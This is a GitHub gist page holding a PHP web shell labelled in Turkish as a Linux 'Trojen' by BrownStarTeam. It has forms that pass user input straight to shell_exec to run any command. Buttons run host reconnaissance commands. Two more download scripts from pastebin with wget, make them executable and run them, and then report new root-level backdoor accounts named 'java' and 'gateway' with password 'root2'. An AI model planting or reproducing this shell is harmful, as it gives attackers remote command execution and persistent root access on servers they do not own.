Skip to content

Instantly share code, notes, and snippets.

@avelardi
Last active April 18, 2018 08:54
Show Gist options
  • Save avelardi/a629445827e7dd4f7419ce4c595555ea to your computer and use it in GitHub Desktop.
Save avelardi/a629445827e7dd4f7419ce4c595555ea to your computer and use it in GitHub Desktop.
# BrownStarTeam & B0STANLI Linux Trojen V3 Final Series 25.10.2017:00.07 #
<br><br>
<form method="post" action="">
Makinede Dosya Arama:<input type="text" name="keyword"><br />
<input type="submit" value="Gonder" name="submit">
</form>
<?php
$keywords=$_POST["keyword"];
$result=shell_exec('find / -name "'.$keywords.'"');
echo '<pre>'.$result.'</pre>';
?>
<br>
<form method="post" action="">
Makineye Komut Yolla:<input type="text" name="keyword1"><br />
<input type="submit" value="Gonder" name="submit">
</form>
<?php
$keywords1=$_POST["keyword1"];
$result1=shell_exec(''.$keywords1.'');
echo '<pre>'.$result1.'</pre>';
?>
<br>
<form action="" method="POST">
<input type="submit" value="Makinedeki Kullanicilari Goruntule" name="who"></input>
<input type="submit" value="Son Girisleri Goruntule" name="last"></input>
<input type="submit" value="IP ve Gateway Gotuntule" name="ifconfig"></input>
<input type="submit" value="Kullanici Adim Ne" name="whoami"></input>
<input type="submit" value="Isletim Sistemim" name="uname"></input>
<input type="submit" value="Ram Bilgisi" name="ram"></input>
<input type="submit" value="Disk Bilgisi" name="disk"></input>
<input type="submit" value="CPU Bilgisi" name="cpu"></input>
</form>
<?php
if (isset($_POST['who'])) {
$who = shell_exec("who");
echo "<pre>$who</pre>";
}
if (isset($_POST['ifconfig'])) {
$ifconfig = shell_exec("ifconfig");
echo "<pre>$ifconfig</pre>";
}
if (isset($_POST['last'])) {
$last = shell_exec("last");
echo "<pre>$last</pre>";
}
if (isset($_POST['whoami'])) {
$whoami = shell_exec("whoami");
echo "<pre>$whoami</pre>";
}
if (isset($_POST['uname'])) {
$uname = shell_exec("uname -a");
echo "<pre>$uname</pre>";
}
if (isset($_POST['ram'])) {
$ram = shell_exec("free -m");
echo "<pre>$ram</pre>";
}
if (isset($_POST['disk'])) {
$disk = shell_exec("df -h");
echo "<pre>$disk</pre>";
}
if (isset($_POST['cpu'])) {
$cpu = shell_exec("top -bn1");
echo "<pre>$cpu</pre>";
}
?>
<form action="" method="POST">
<input type="submit" value="Java User Olustur" name="java"></input>
<input type="submit" value="Gateway User Olustur" name="gateway"></input>
</form>
<?php
if (isset($_POST['java'])) {
$java = shell_exec("wget https://pastebin.com/raw/LyK7Ry9Z -O user.sh; chmod 777 user.sh; ./user.sh; rm -rf user.sh;");
echo 'Olusturulan Kullanici: java<br>Sifre: root2<br>Yetki: Root Permission';
}
if (isset($_POST['gateway'])) {
$gateway = shell_exec("wget https://pastebin.com/raw/KYdX5rDe -O user.sh; chmod 777 user.sh; ./user.sh; rm -rf user.sh;");
echo 'Olusturulan Kullanici: gateway<br>Sifre: root2<br>Yetki: Root Permission';
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment